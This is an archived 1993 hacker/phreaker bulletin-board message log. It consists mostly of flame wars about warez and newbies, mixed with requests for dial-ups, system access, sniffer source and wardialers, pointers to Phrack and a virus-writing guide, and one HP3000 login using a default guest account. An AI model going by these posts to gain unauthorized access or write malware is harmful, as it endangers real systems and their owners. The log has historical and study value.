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think they are super hot shit cuz they just downloaded the newest game.
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This doesn't take much skill. Warez guys who say they're "pirating cuz
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they don't like the big corporations, and they think info should be free"
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and all that shit, are fooling themselves.
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Actually, a lot of the same goes for the HPA people, a good deal of whom
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think that having a passwd file means you're a hacker-elite. It's
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nothing, and it will only get you so far in a quest to understand computer
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systems.
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I say all this from personal experience (I used to be both, but not to
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some extreme). A whole mess of the people I met while being an elite (HPA
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or warez) were basically supreme assholes. No one was nice, and I got
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tired of it. People like that rarely get along, so you get all kinds of
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fighting amongst the two groups. It's pretty simple.
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JasonLee
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From griton@yabbs Tue Nov 9 18:19:24 1993
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From: griton@yabbs
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To: cosmos@yabbs
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Subject: tnxs!
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Date: Tue Nov 9 18:19:24 1993
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tnxs! man!
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where r u from?
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I'm callig from Argentina.. Sud America!
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(The Best Country! :)
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If you need anything about h/p world.. tell me..
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take care..
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bye
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El Griton
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From griton@yabbs Tue Nov 9 18:22:22 1993
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From: griton@yabbs
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To: wonko@yabbs
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Subject: re: VM
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Date: Tue Nov 9 18:22:22 1993
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Yo..
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are you calling from one Vm s.o?
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tell me how you can use the pad?
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and how i can connect to anotehr computers..
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with the bnitnet net..
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tnxs!
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el Griton
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From NetCo@yabbs Tue Nov 9 21:10:10 1993
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From: NetCo@yabbs
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To: all@yabbs
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Subject: Info. Internet
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Date: Tue Nov 9 21:10:10 1993
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Hi all !!
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I have some questions :
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- Any1 knows other Internet H/P BBS's ?
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- Any12 know others programs to send Internet BUGS , like ISS ?
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Thnks. for all!!
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From cosmos@yabbs Wed Nov 10 05:41:58 1993
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From: cosmos@yabbs
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To: all@yabbs
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Subject: re: Info. Internet
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Date: Wed Nov 10 05:41:58 1993
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People, that is a classic message from your typical moron. TOo bad he
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does not exist anymore or I would flame him. Internet bugs with ISS??
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Fuck off dork.
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Cosmos
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From wonko@yabbs Wed Nov 10 09:06:13 1993
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From: wonko@yabbs
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To: griton@yabbs
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Subject: re: VM
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Date: Wed Nov 10 09:06:13 1993
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never bothered with bitnet, always used the internet address.
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of course i do not connect to other systems with the VM machine
|
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since it is a piece of shit and i have this nice vt102 term infront
|
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of me.
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|
-wonko
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From wonko@yabbs Wed Nov 10 09:06:59 1993
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From: wonko@yabbs
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To: cosmos@yabbs
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Subject: re: Info. Internet
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Date: Wed Nov 10 09:06:59 1993
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some people, it is amazing, isn't it??
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-wonko
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*sigh* at least he was deleted.
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From hbeast@yabbs Wed Nov 10 11:04:07 1993
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From: hbeast@yabbs
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To: all@yabbs
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Subject: misc
|
|
Date: Wed Nov 10 11:04:07 1993
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General stuff: Phrack 44 should be out at Nov. 17.
|
|
Got the bounce test some time ago.
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|
|
Another general note: with the paranoia going around
|
|
about the "new" sendmail bug, I think it would be
|
|
wise not to tinker with sendmail too much (at least,
|
|
for all those of you who are just trying to fake mail).
|
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|
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People can be so anal...
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|
|
herd beast
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From jasonlee@yabbs Wed Nov 10 12:51:58 1993
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From: jasonlee@yabbs
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To: all@yabbs
|
|
Subject: Dumb guy...
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Date: Wed Nov 10 12:51:58 1993
|
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|
|
Hey, does anyone know who a guy named John M Nowakowski
|
|
(khan@wtaserv.ucr.edu) is? I don't know him, but he sent me some fucked
|
|
up uuencoded file in the mail. I thought it might contain a .rhosts file,
|
|
but it was just gibberish. What a freakish attempt at hacking my account.
|
|
If anyone has ever met him, ask him what the hell he was trying to do.
|
|
|
|
JasonLee
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From jasonlee@yabbs Wed Nov 10 18:49:55 1993
|
|
From: jasonlee@yabbs
|
|
To: all@yabbs
|
|
Subject: Complaints about strings
|
|
Date: Wed Nov 10 18:49:55 1993
|
|
|
|
Damn, I'm just having an annoying time getting a stupid program to work.
|
|
I'm no C god, so I'm in normal C I. Linked lists are so fun, but for some
|
|
reason when I change the data type of each node from int to char *, each
|
|
time I add a node, the data in each of the other nodes is replaced by the
|
|
new value. So instead of having a list of {time} then {help, time} I get
|
|
{time, time}. I can find no reason for this, but if anyone would like to
|
|
berate me for missing some amazingly obvious point, I'd be happy to accept
|
|
your attacks. E-mail me here or at dirtboy@sanctuary.pc.cc.cmu.edu.
|
|
|
|
Thank youse so very much.
|
|
|
|
JasonLe
|
|
er, JasonLee
|
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From LoA@yabbs Thu Nov 11 01:40:26 1993
|
|
From: LoA@yabbs
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|
To: all@yabbs
|
|
Subject: I need some help..
|
|
Date: Thu Nov 11 01:40:26 1993
|
|
|
|
the server I'm using to call out (Harvery Mudd, CA) is rather weak, no
|
|
FTP, or FINGER.... and I am in DIRE need of a dial up in the 909/714
|
|
area.. if anyone can help me...... PLEASE do, will trade info or ??? if
|
|
needed
|
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|
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|
|
From binkley@yabbs Thu Nov 11 18:16:31 1993
|
|
From: binkley@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: ...
|
|
Date: Thu Nov 11 18:16:31 1993
|
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|
|
What the hell do you mean it takes no talent?! coding your own game
|
|
loaders, isn't easy... Breaking copy protection is no easy task either,
|
|
removing DOC checks, and stuff like that, you're such a fucking no-it-all
|
|
can you do stuff like that?!
|
|
|
|
From griton@yabbs Thu Nov 11 19:54:16 1993
|
|
From: griton@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: tnxs!
|
|
Date: Thu Nov 11 19:54:16 1993
|
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|
|
{yo!
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|
c00l, you are here
|
|
since 85????
|
|
heheh.
|
|
well, im new.byq. coz i;m stay
|
|
here since 91.. :)
|
|
chicago? usa? nice city, no?
|
|
|
|
you can't use box? no? or you can call sprint-net dials?//
|
|
|
|
From griton@yabbs Thu Nov 11 19:59:20 1993
|
|
From: griton@yabbs
|
|
To: wonko@yabbs
|
|
Subject: re: VM
|
|
Date: Thu Nov 11 19:59:20 1993
|
|
|
|
tnxs...
|
|
man...
|
|
but in vm? whcih is teh command?
|
|
to connect to anotehr system's?
|
|
|
|
|
|
From Alvin@yabbs Thu Nov 11 20:29:39 1993
|
|
From: Alvin@yabbs
|
|
To: all@yabbs
|
|
Subject: ..
|
|
Date: Thu Nov 11 20:29:39 1993
|
|
|
|
is anyone calling from Denmark? if so, email me.
|
|
thanks.
|
|
|
|
Alvin
|
|
nollette@sumax.seattleu.edu
|
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|
|
From pyro@yabbs Fri Nov 12 03:45:45 1993
|
|
From: pyro@yabbs
|
|
To: binkley@yabbs
|
|
Subject: Warez d00d
|
|
Date: Fri Nov 12 03:45:45 1993
|
|
|
|
Fact: very few people can accomplish such things. The few that do are
|
|
not the representation of the wwarez world that everyone sees. they do
|
|
have some talent in a special field (however, making VGA loaders is still
|
|
lame and worthless). But tthe other 99.9% of the warez world is the 15
|
|
year old kid who thinks he is hot shit because he has X-Wing and Daddy's
|
|
486 and 14.4 modem.
|
|
|
|
These kids abuse anything they get. They openly beg for accounts, codes
|
|
and sites. They are annoying and should be shit. Simple.
|
|
|
|
-TP
|
|
|
|
From cosmos@yabbs Fri Nov 12 05:15:03 1993
|
|
From: cosmos@yabbs
|
|
To: binkley@yabbs
|
|
Subject: re: ...
|
|
Date: Fri Nov 12 05:15:03 1993
|
|
|
|
Come off it Binkley. Yes, I have done that. I was once a "pirate" too,
|
|
long time ago....long time ago. It does not take very much talent, a
|
|
simple knowledge of assembly and machine language and a sector
|
|
editor...today they have even more powerful tools. Do not condescend me
|
|
with that crap about being really tough to be a software pirate.
|
|
|
|
Oh, I forgot to mention how elite being a pirate is....K-RaD.
|
|
|
|
Cosmos
|
|
.s
|
|
|
|
From cosmos@yabbs Fri Nov 12 05:15:54 1993
|
|
From: cosmos@yabbs
|
|
To: griton@yabbs
|
|
Subject: re: VM
|
|
Date: Fri Nov 12 05:15:54 1993
|
|
|
|
Um...try telnet....just a guess....
|
|
|
|
Cosmos
|
|
|
|
From wonko@yabbs Fri Nov 12 10:08:34 1993
|
|
From: wonko@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: VM
|
|
Date: Fri Nov 12 10:08:34 1993
|
|
|
|
i was going to suggest the same thing, hold on, let me try something.
|
|
|
|
-wonko
|
|
|
|
From wonko@yabbs Fri Nov 12 10:12:13 1993
|
|
From: wonko@yabbs
|
|
To: wonko@yabbs
|
|
Subject: re: VM
|
|
Date: Fri Nov 12 10:12:13 1993
|
|
|
|
shit, anyway, someone give me aa machine on bitnet.
|
|
i can try it myself then.
|
|
|
|
-wonko
|
|
|
|
From griton@yabbs Fri Nov 12 18:42:04 1993
|
|
From: griton@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: VM
|
|
Date: Fri Nov 12 18:42:04 1993
|
|
|
|
heheh :)
|
|
i wqas try..
|
|
and nothing..
|
|
coz the system.
|
|
it's af.wn old system,
|
|
i dunno, why, i was read about bitnet in the files...
|
|
i'll investigate..
|
|
are you study anything?
|
|
i study computer science.. 1st year.. :(..
|
|
|
|
From Alvin@yabbs Fri Nov 12 22:16:38 1993
|
|
From: Alvin@yabbs
|
|
To: all@yabbs
|
|
Subject: ..
|
|
Date: Fri Nov 12 22:16:38 1993
|
|
|
|
does anyone know what an extender is? any help will be appreciated.
|
|
|
|
Alvin
|
|
email me at:
|
|
nollette@sumax.seattleu.edu
|
|
|
|
From B-Chrome@yabbs Sat Nov 13 11:24:48 1993
|
|
From: B-Chrome@yabbs
|
|
To: all@yabbs
|
|
Subject: re: H/P & Scaners/hacking
|
|
Date: Sat Nov 13 11:24:48 1993
|
|
|
|
That board that jcjc was talking about - Piracetam - is in Tampa, FL...
|
|
It is the ECP Information HQ for anyone that was around in the mid to late
|
|
80's and knows what the ECP is... There's no NUP on it and if you are
|
|
looking for information, it does indeed have it! The SysOp is a long time
|
|
Hacker and Phreaker and knows a hell of a lot... But of course he's not
|
|
willing to share to easily... The number is (813) 996-3902 and is
|
|
14.4k... Pretty cool software he runs too... Check it out at least once,
|
|
as Piracetam is a very potent smart drug and you might find yourself
|
|
becoming addicted to it after a short while...
|
|
|
|
From rcb@yabbs Sun Nov 14 13:14:19 1993
|
|
From: rcb@yabbs
|
|
To: all@yabbs
|
|
Subject: AUDIX
|
|
Date: Sun Nov 14 13:14:19 1993
|
|
|
|
I've been messing with Sys75's lately, and I see PBX's set up on AUDIX
|
|
systems. The only thing is, I don't know how to recognize one. Any help
|
|
here is appreciated.
|
|
|
|
Ratscabies
|
|
|
|
From pooper@yabbs Sun Nov 14 21:03:54 1993
|
|
From: pooper@yabbs
|
|
To: ldistort@yabbs
|
|
Subject: re: toneloc
|
|
Date: Sun Nov 14 21:03:54 1993
|
|
|
|
look on archie for it.... (use telnet archie.ans.net and use find toneloc)
|
|
|
|
|
|
From pyro@yabbs Mon Nov 15 06:03:38 1993
|
|
From: pyro@yabbs
|
|
To: rcb@yabbs
|
|
Subject: Sys75
|
|
Date: Mon Nov 15 06:03:38 1993
|
|
|
|
There is a newsltter/exine out called Cult of the New Order (cotno), they
|
|
only have 1 issue out, but it has a fairly good file on System75 use. It
|
|
has caotures and the whole 9 yards. (its the only thing in the zone that
|
|
is any good). Anyway, look around for it. I saw it on some BBS. If I
|
|
find it I will FTP it here, but ask around. Someone should have it.
|
|
|
|
-Pyro
|
|
|
|
From savoire@yabbs Mon Nov 15 15:49:59 1993
|
|
From: savoire@yabbs
|
|
To: all@yabbs
|
|
Subject: Learning
|
|
Date: Mon Nov 15 15:49:59 1993
|
|
|
|
The most dangerous attitude expressed here is "go get a book and learn
|
|
by yourself." This is completely contrary, in my view, to the free
|
|
exchange of information. Remember earlier in the thread, when everyone was
|
|
talking about newbies on HPA boards? The greatest statement coming out of
|
|
that was that these boards are a great place to learn and to exchange
|
|
ideas. I agree with the specific complaint that idiots arbragging and
|
|
handing out accounts which were not procured legitimately, an illegal
|
|
enterprise that threatens the system. However, I think that discussions on
|
|
security holes in Unix, ways to sneak through telnet-watchers, mailing
|
|
anonymously are all discussions that are perfectly valid, and I would
|
|
encourage them. To say "get out of here and read a book" is not conducinve
|
|
to the free atmosphere. Basics get acquired pretty quickly, and the goal
|
|
of a hacker is ewxploring. Let's support this goal by stopping the idiotic
|
|
brag/rag wars, and equally stopping the massive posts on why everyone
|
|
hates newbies / w3r3z d00dz etc. Instead, let's talk about how to make the
|
|
most of the internet.
|
|
|
|
Relinquishing the soapbox...
|
|
|
|
|
|
From cosmos@yabbs Mon Nov 15 15:54:13 1993
|
|
From: cosmos@yabbs
|
|
To: savoire@yabbs
|
|
Subject: re: Learning
|
|
Date: Mon Nov 15 15:54:13 1993
|
|
|
|
Eat shit moron. My posts were justified. Read them and see WHY we sent
|
|
them to read up.
|
|
|
|
Cosmos
|
|
|
|
From B-Chrome@yabbs Mon Nov 15 16:40:46 1993
|
|
From: B-Chrome@yabbs
|
|
To: savoire@yabbs
|
|
Subject: re: Learning
|
|
Date: Mon Nov 15 16:40:46 1993
|
|
|
|
Amen!
|
|
Something I have believed in since joining the ECP! in 1986...
|
|
|
|
FREEDOM OF INFORMATION!
|
|
|
|
Granted, I don't spend a lot of time educating the up and coming
|
|
generation, but if they ask a valid question and no one else is answering
|
|
it, then by all means I will if I can...
|
|
|
|
Burning Chrome
|
|
|
|
From gurujam@yabbs Mon Nov 15 16:49:42 1993
|
|
From: gurujam@yabbs
|
|
To: all@yabbs
|
|
Subject: re: Learning
|
|
Date: Mon Nov 15 16:49:42 1993
|
|
|
|
kiss my grits,cosmos.
|
|
|
|
his one(1) post made a a lot more funking sense than your
|
|
previous two(2) thread related to my post.
|
|
|
|
i may not fit your "concept" of a hacker,but i can program in every
|
|
language on the vax i work on.
|
|
i am not rich enough to own a pc.i barely have enough money
|
|
to go to college.
|
|
|
|
thank you savoire for your clear head in this matter.
|
|
(warning: I make no funking sense in general.but I did score eighth
|
|
in the nation in computional concepts and informtion processing.
|
|
this is not a boast,but to show that i understand the basics.
|
|
|
|
gurujam
|
|
|
|
From pyro@yabbs Mon Nov 15 17:07:41 1993
|
|
From: pyro@yabbs
|
|
To: all@yabbs
|
|
Subject: False Ideas Will Kill
|
|
Date: Mon Nov 15 17:07:41 1993
|
|
|
|
I personally think the whole idea of a free information society is invalid
|
|
and dangerous. Information should not be free. It is the, in my opinion,
|
|
responsibility of each and every individual and organization to protec
|
|
their own information, and provide for their own privacy. It is not the
|
|
responsibility of the Government or any other broad based institution to
|
|
do so for us.
|
|
|
|
As for sharg of information to help everone become more educated. Sure,
|
|
this idea has much merit. But lets face it, spoon feeding does no one any
|
|
good. Its a two way street, and to effectively have an excahnge of
|
|
information in such a public forum you need a number of people on the same
|
|
intellectual level discussing their views, while a few people may just
|
|
kick back and watch.
|
|
|
|
But to sit here and read stupid wuestions non-stop all day is annoying. I
|
|
hate one way streets, and I know a number of other people do as well. I
|
|
have better things to do with my time than to tutor a bunch of people who,
|
|
in my opinion, are too lazt to try and learn anything on their own free
|
|
will. So, yes, read a book so you have some concept of what you are
|
|
talking about, then ask questions based on what you have read and what you
|
|
would like to know more about. But don't simply assume that because
|
|
there is some false notion of "free information" people are obligated to
|
|
asnwer any neophyte question that gets posted.
|
|
|
|
|
|
Just to carry it a bit farther... Poeple are so consumed with getting
|
|
resuluts right away. They do not realize that the people in the hack
|
|
community who do have a large amount of knowledge have been at it for
|
|
YEARS. They have read every e-zone they have come across, they have read
|
|
books, met people, scoured UseNet, tried things, etc. Its a LONG PROCESS
|
|
if you want ot be well rounded. On the other hand, we get people today
|
|
who feel that it is their right, because of this stupid notion of foree
|
|
information, to know everything that the old elite may know. Wrong.
|
|
Knowledge cannot be spoon fed into brains full of much. Each indiviidual
|
|
must take the task of learning to heart and put as much in to it, and even
|
|
MORE in to it, than those they would have teach them. Simple.
|
|
|
|
Well, yet another long post from me. And filled with typos too. Neat-0,
|
|
huh?
|
|
|
|
-The Pyro
|
|
|
|
From gh0d@yabbs Mon Nov 15 17:52:10 1993
|
|
From: gh0d@yabbs
|
|
To: all@yabbs
|
|
Subject: packet sorter
|
|
Date: Mon Nov 15 17:52:10 1993
|
|
|
|
Anyone have any source to sort packets into sessions? I'm
|
|
talking raw packets here. Also, can anyone recommend sources
|
|
online that explain different protocols, discuss tcp/ip packets
|
|
in detail(ICMP, arp, ..) the nine yards. anything,
|
|
|
|
I here about all this talk about 'old elites' being on here.
|
|
So, bring on the telco guys, let's discuss.
|
|
|
|
s/here/hear
|
|
|
|
From gh0d@yabbs Mon Nov 15 17:59:04 1993
|
|
From: gh0d@yabbs
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To: all@yabbs
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Subject: Ethernet ODI stuff
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Date: Mon Nov 15 17:59:04 1993
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Anyone mess with ODI drivers for your ethernet card on your IBM?
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If so, send me all that source you have! ;-) .. I just need
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source to throw it into promiscuous mode and you know the rest.
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try mailing blaugal@eis.calstate.edu if you dont feel
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like puting it here.
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From jmac@yabbs Mon Nov 15 19:47:42 1993
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From: jmac@yabbs
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To: all@yabbs
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Subject: Trillian...
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Date: Mon Nov 15 19:47:42 1993
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What's the deal with trillian.cc.ttu.ee? Somehow I cannot use the guest
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acct. anymore. Jesus, I've lost access to the only two boards which gave
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me any sort of access to INet.
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Great.
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Oh yeah, I need access to CMU.EDU by the weekend..
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From jmac@yabbs Mon Nov 15 19:53:28 1993
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From: jmac@yabbs
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To: all@yabbs
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Subject: CTS2
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Date: Mon Nov 15 19:53:28 1993
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Anybody know what a "CTS2 >" prompt is running on. I just got a password
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for this dialup but I can't seem to get anything running. When I use the
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"Connect <host>" command, it finds the address, and then tells me my
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connection was refused by host. What is the deal with this system?
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Thanks.
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From dux@yabbs Mon Nov 15 19:59:42 1993
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From: dux@yabbs
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To: savoire@yabbs
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Subject: re: Learning
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Date: Mon Nov 15 19:59:42 1993
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Savoire, I agree with you 100%. Nothing aggravates me more than observing
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folks I've helped give attitude to others.
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From binkley@yabbs Mon Nov 15 23:52:02 1993
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From: binkley@yabbs
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To: jmac@yabbs
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Subject: re: CTS2
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Date: Mon Nov 15 23:52:02 1993
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I'll bet it's a restricted net server. I found one on an 800 system. no
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passwords to get in, but iI only found 1 system it would connect to, one
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that was listed on it...
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binkley
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From xela@yabbs Tue Nov 16 21:46:54 1993
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From: xela@yabbs
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To: all@yabbs
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Subject: help and newbies
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Date: Tue Nov 16 21:46:54 1993
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why is it so difficult for experienced hackers to give newbies a little
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help when it is neccessary -and- encourage the newbie to read a little,
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all without the massive attitude problem both cosmos and savoire have?
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it is possible that the answer lies in the size of ego of each party, so
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"lighten up."
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i am a newbie who asks questions and reads. i do fine, even tho' my
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questions may be annoying to those i ask, but it should be a small matter
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to read as well.
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anyways, thats my two cents.
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-xela
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From xenon@yabbs Tue Nov 16 22:21:55 1993
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From: xenon@yabbs
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To: xela@yabbs
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Subject: re: help and newbies
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Date: Tue Nov 16 22:21:55 1993
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I have no problem what-so-ever with helping newbies out...hell, I've been
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trippin da cyberspace fantastic fer 6 yrs and still consider myself a
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newbie...theres a shitload of information ta read up on out there...my
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problem is when sumone thinkin they're gods gift to hackers puts up sum
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bullshit post askin fer stupid shit. those are the people i tell ta
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read...read about the past and present ta gain an understandin about da
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hacker world in general.
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i am willing to answer questions to da best of my ability. even if it is
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a "simple" question. its da "stupid" ones i tend ta ignore. fer example,
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if sumone asks fer help understand how a PBX works and how it can be used,
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thats ok, but if sumone jus asks fer numbers and passwords, that tells me
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that theyre not interested in learnin much x-cept how ta make a few free
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LD calls and mebbe show-off to their friends...
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tellin sumone HOW a sysem works does not go against my principals, but
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givin people a free ride ta abuse a system is. my view of a hacker is
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sumone who wants ta learn the ins and outs of a system not jus how ta use
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it fer selfish reasons. there are 2 main tools ta this learnin...1)
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reading. ya gotta read up on yer system. do research on it , learn the
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basic principals behind how it works so you can move on to the next step:
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2) hands on experiance. this is of equal importance as the first step.
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ya GOTTA play around on a system...find new and interesting ways ta use
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the system...use that x-periance to teach others and apply it to da next
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system ya encounter.
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behind all this learnin, tho, ya gotta have a personal drivin force. the
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posts i see on here that irk me are the ones by lost people, (no specific
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goal in mind other than sheer abuse), who are jus lookin fer a free ride.
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those are the people i tell ta read...read up on the past and apply that
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x-periance to form sum sort of personal goal...THEN start askin questions
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and work toward that goal...
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--> Xenon
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From gh0d@yabbs Tue Nov 16 23:42:54 1993
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From: gh0d@yabbs
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To: xela@yabbs
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Subject: re: help and newbies
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Date: Tue Nov 16 23:42:54 1993
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most of the people who ask me about telco havent read any phracks... The
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only way you might get information from me is if you read all the phracks
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(telco articles)
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From cosmos@yabbs Wed Nov 17 06:03:50 1993
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From: cosmos@yabbs
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To: xela@yabbs
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Subject: re: help and newbies
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Date: Wed Nov 17 06:03:50 1993
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First off, never butt in to something during the middle. Secondly, if you
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had read from the beginning you would know that this whole argument
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stemmed from the idotic post of Intruder and others who would ask
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like...hey how do I hack...and whos got the k0dez.
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The problem is not my ego...it is the 'newbie' unwillingness to accept
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responsibility for their learning. The new breed today wants it all on a
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silver platter...I wonder if they can read.
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Cosmos
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From wonko@yabbs Wed Nov 17 08:32:18 1993
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From: wonko@yabbs
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To: cosmos@yabbs
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Subject: re: help and newbies
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Date: Wed Nov 17 08:32:18 1993
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reading is have the fun. not only is it the way for a hacker/phreak to
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learn it is lots of fun!!!!!!!! if i had half a clue that first have in
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the first sentance should have been a half instead. duh. anyway,
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id a good 80% of what i know from reading, then there is the hands on for
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reinforcement of concepts. why can't i type today?? at least i am
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thinking somewhat clearly for a fucking change.
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-wonko
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From Cagim@yabbs Wed Nov 17 19:21:14 1993
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From: Cagim@yabbs
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To: all@yabbs
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Subject: re: 40hex
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Date: Wed Nov 17 19:21:14 1993
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It's on the net guys...didya ever try archie?....sheesh
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IP Address: bongo.cc.utexas.edu
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Along with some other cool info files (ie. NuKe..Phalcon/skisms virus
|
|
writing guide and a couple of muattion and polymorph engine virus shells.)
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As far as I'm concerned information should be freely distributed...I say
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let the chips fall where they may....ie. You are responsible for
|
|
your actions not me!
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BTW Howdy, I'm new to the Net.....
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From Cagim@yabbs Wed Nov 17 19:32:53 1993
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From: Cagim@yabbs
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To: all@yabbs
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Subject: re: 40hex
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Date: Wed Nov 17 19:32:53 1993
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Oh yeah,
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try /pub/mccoy/computer-underground, duh
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Cagim
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From tboe@yabbs Thu Nov 18 01:48:17 1993
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From: tboe@yabbs
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To: griton@yabbs
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Subject: re: VM
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Date: Thu Nov 18 01:48:17 1993
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well, after what I know, it's just no way to do it.
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From phragger@yabbs Thu Nov 18 07:00:36 1993
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From: phragger@yabbs
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To: gh0d@yabbs
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Subject: re: packet sorter
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Date: Thu Nov 18 07:00:36 1993
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well, for documentation on different protocols, there is problably quite a
|
|
lot of stuff on research.att.com and ftp.sage.usenix.com.
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From jealousy@yabbs Thu Nov 18 11:24:04 1993
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From: jealousy@yabbs
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To: all@yabbs
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Subject: <no title>
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Date: Thu Nov 18 11:24:04 1993
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Hi I am new here and I am a bit confused. Maybe someone could help me.
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From LordGraf@yabbs Thu Nov 18 11:35:22 1993
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From: LordGraf@yabbs
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To: all@yabbs
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Subject: <no title>
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Date: Thu Nov 18 11:35:22 1993
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Does anyone know where I can get a Wardialer Like ToneLoc via FTP? Yes I
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|
have tried archie but to no avail.
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|
LordGrafx
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From cosmos@yabbs Thu Nov 18 14:09:54 1993
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From: cosmos@yabbs
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To: xela@yabbs
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Subject: re: help and newbies
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Date: Thu Nov 18 14:09:54 1993
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Thank you for your insight. Me an my ego thank you.
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Cosmos
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From cosmos@yabbs Thu Nov 18 14:12:19 1993
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From: cosmos@yabbs
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To: all@yabbs
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Subject: Phrack 44 is here
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|
Date: Thu Nov 18 14:12:19 1993
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Well, Phrack 44 is out and at least some of you should have it, I have
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perused a few sections(01,03,04) and it is quite good. Of course, my
|
|
article on PSDN's in section 04 could have something to do with my
|
|
judgment...:)
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|
Check it out...
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Cosmos
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From gh0d@yabbs Thu Nov 18 16:12:13 1993
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From: gh0d@yabbs
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To: cosmos@yabbs
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Subject: re: help and newbies
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|
Date: Thu Nov 18 16:12:13 1993
|
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Do you know anything about cosmos?
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From pyro@yabbs Thu Nov 18 22:09:16 1993
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From: pyro@yabbs
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|
To: cosmos@yabbs
|
|
Subject: Phrack
|
|
Date: Thu Nov 18 22:09:16 1993
|
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|
Yes, your article was one of the few worth reading, in my opinion. As
|
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usaul, Phrack is lareg and boring for the most part.
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|
Maybe I should submit something. Its been, oh, 8 years since I last did
|
|
soething for it...
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Damn, I need to learn to type.
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From jimjones@yabbs Fri Nov 19 01:39:27 1993
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From: jimjones@yabbs
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To: all@yabbs
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Subject: re: Phrack
|
|
Date: Fri Nov 19 01:39:27 1993
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Not so, seems like now it's a litle more interesting. Now that thaat
|
|
dispater guy is in levinworth or whatever...
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From cosmos@yabbs Fri Nov 19 04:49:25 1993
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From: cosmos@yabbs
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To: gh0d@yabbs
|
|
Subject: re: help and newbies
|
|
Date: Fri Nov 19 04:49:25 1993
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what do you need to know...
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P.S. (I don't know anything, I just have an ego)
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Cosmos
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From gh0d@yabbs Fri Nov 19 21:09:13 1993
|
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From: gh0d@yabbs
|
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To: cosmos@yabbs
|
|
Subject: re: help and newbies
|
|
Date: Fri Nov 19 21:09:13 1993
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I was just wondering what telco systems you were familiar with. LMOS,
|
|
COSMOS, BOSS, PREMIS.. ?
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From xela@yabbs Sat Nov 20 16:09:13 1993
|
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From: xela@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: help and newbies
|
|
Date: Sat Nov 20 16:09:13 1993
|
|
|
|
I believe you remarked something like this:
|
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> P.S. (I don't know anything, I just have an ego)
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|
You also said this:
|
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> Me and my ego thank you.
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|
|
If at any point during our brief conversation I claimed you were all ego
|
|
and no knowledge, you may quote and I will gladly leave this bbs.
|
|
Otherwise stop putting words into my mouth. If anything that shows
|
|
immaturity, ignorance, and arrogance. Grow up.
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|
-Alex
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From cosmos@yabbs Sun Nov 21 15:25:22 1993
|
|
From: cosmos@yabbs
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|
To: xela@yabbs
|
|
Subject: re: help and newbies
|
|
Date: Sun Nov 21 15:25:22 1993
|
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|
I was not flaming you per se...just the general attitude towards me. Who
|
|
put words into your mouth?? I have a rule. I never put anything in
|
|
anyone's mouth, it's nasty and frankly, can lead to some pretty funky
|
|
diseases.
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A public service announcement from your local egotist,
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Cosmos
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From TRobber@yabbs Tue Nov 23 11:40:11 1993
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From: TRobber@yabbs
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To: all@yabbs
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Subject: Phrack
|
|
Date: Tue Nov 23 11:40:11 1993
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I was just wondering where I can get a copy of Phrak
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-TRobber
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From Cagim@yabbs Tue Nov 23 13:22:52 1993
|
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From: Cagim@yabbs
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|
To: TRobber@yabbs
|
|
Subject: re: Phrack
|
|
Date: Tue Nov 23 13:22:52 1993
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|
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Hey TRobber,
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Which copy? I think they're up to 44 now...anyway, try.........
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ftp.halcyon.com under /pub/cud/phrack.....
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Cagim
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From Alvin@yabbs Tue Nov 23 15:17:33 1993
|
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From: Alvin@yabbs
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To: TRobber@yabbs
|
|
Subject: re: Phrack
|
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Date: Tue Nov 23 15:17:33 1993
|
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or try netsys.com /pub/phrack
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From TRobber@yabbs Tue Nov 23 15:43:34 1993
|
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From: TRobber@yabbs
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To: all@yabbs
|
|
Subject: re: Phrack
|
|
Date: Tue Nov 23 15:43:34 1993
|
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|
Thanks for your help, I'll try both...
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TRobber
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From HomeySan@yabbs Tue Nov 23 18:01:08 1993
|
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From: HomeySan@yabbs
|
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To: all@yabbs
|
|
Subject: re: Whaz up?
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Date: Tue Nov 23 18:01:08 1993
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well, I have one more channce to plug my bbs, so here it goez..
|
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1t iz a lam3r b0ard that haz s0m3 r3ally k1ck t3xt
|
|
(317) 823-8184 I got to up your security and shit, it takes time... (heck,
|
|
I'm 15 and livbe undermy parents house, its THEIR phone line... so I
|
|
gotta watch my ass...
|
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14.4k bps v32/42bis
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|
c-ya!
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From jmac@yabbs Tue Nov 23 21:08:50 1993
|
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From: jmac@yabbs
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To: all@yabbs
|
|
Subject: Hello..
|
|
Date: Tue Nov 23 21:08:50 1993
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MPE XL:
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MPE XL:hello
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EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424)
|
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MPE XL:hello public.library
|
|
HP3000 RELEASE: B.40.00 USER VERSION: B.40.00 TUE, NOV 23, 1993,
|
|
6:01 PM
|
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MPE/iX HP31900 B.30.45 Copyright Hewlett-Packard 1987. All Rights
|
|
Reserved.
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|
Does anyone have any idea if there are any other commands in this HELLO
|
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shell?
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Thanks.
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From schief@yabbs Wed Nov 24 19:19:40 1993
|
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From: schief@yabbs
|
|
To: all@yabbs
|
|
Subject: phrack 44
|
|
Date: Wed Nov 24 19:19:40 1993
|
|
|
|
would someone have it in the goodness of their heart to mail me a
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(preferably compressed in some way) copy of phrack 44? Stormking is
|
|
apparently never going to send me one itself? Finger me at the main menu
|
|
for the addr..
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From QFX@yabbs Thu Nov 25 18:25:28 1993
|
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From: QFX@yabbs
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To: jmac@yabbs
|
|
Subject: re: Hello..
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|
Date: Thu Nov 25 18:25:28 1993
|
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|
|
Its a hp3000 and you can use "DATA" and a couple of others just grab a t
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|
file on hp3000
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QFX
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From horus@yabbs Thu Nov 25 22:12:19 1993
|
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From: horus@yabbs
|
|
To: schief@yabbs
|
|
Subject: re: phrack 44
|
|
Date: Thu Nov 25 22:12:19 1993
|
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ftp it off their distribution site ftp.netsys.com /pub/phrack
|
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From schief@yabbs Fri Nov 26 14:19:54 1993
|
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From: schief@yabbs
|
|
To: horus@yabbs
|
|
Subject: re: phrack 44
|
|
Date: Fri Nov 26 14:19:54 1993
|
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|
it's there? i checked about 2 days ago and it wasn't there then..or so I
|
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thought... <shrug>
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From horus@yabbs Fri Nov 26 16:50:36 1993
|
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From: horus@yabbs
|
|
To: schief@yabbs
|
|
Subject: re: phrack 44
|
|
Date: Fri Nov 26 16:50:36 1993
|
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It's there, 380K zipped and over 800K unzipped. Eric likes em big! ;)
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From iceman@yabbs Fri Nov 26 21:25:21 1993
|
|
From: iceman@yabbs
|
|
To: all@yabbs
|
|
Subject: SL-1
|
|
Date: Fri Nov 26 21:25:21 1993
|
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|
|
